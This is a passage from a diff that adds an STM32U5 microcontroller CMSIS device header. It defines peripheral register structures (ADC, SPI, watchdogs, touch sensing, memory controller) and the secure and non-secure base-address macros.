FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define RAMCFG_SRAM5_BASE_NS (RAMCFG_BASE_NS + 0x0140UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define GTZC_MPCBB5_BASE_NS (AHB1PERIPH_BASE_NS + 0x13800UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define GPIOJ_BASE_NS (AHB2PERIPH_BASE_NS + 0x02400UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_HS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ +#define HSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB3400UL) + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1300UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (4 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (768 KB) secure base address */ +#define SRAM2_BASE_S (0x300C0000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x300D0000UL) /*!< SRAM3 (832 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define SRAM5_BASE_S (0x301A0000UL) /*!< SRAM5 (832 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define I2C5_BASE_S (APB1PERIPH_BASE_S + 0x9800UL) +#define I2C6_BASE_S (APB1PERIPH_BASE_S + 0x9C00UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define TIM16_BASE_S (APB2PERIPH_BASE_S + 0x4400UL) +#define TIM17_BASE_S (APB2PERIPH_BASE_S + 0x4800UL) +#define SAI1_BASE_S (APB2PERIPH_BASE_S + 0x5400UL) +#define SAI1_Block_A_BASE_S (SAI1_BASE_S + 0x004UL) +#define 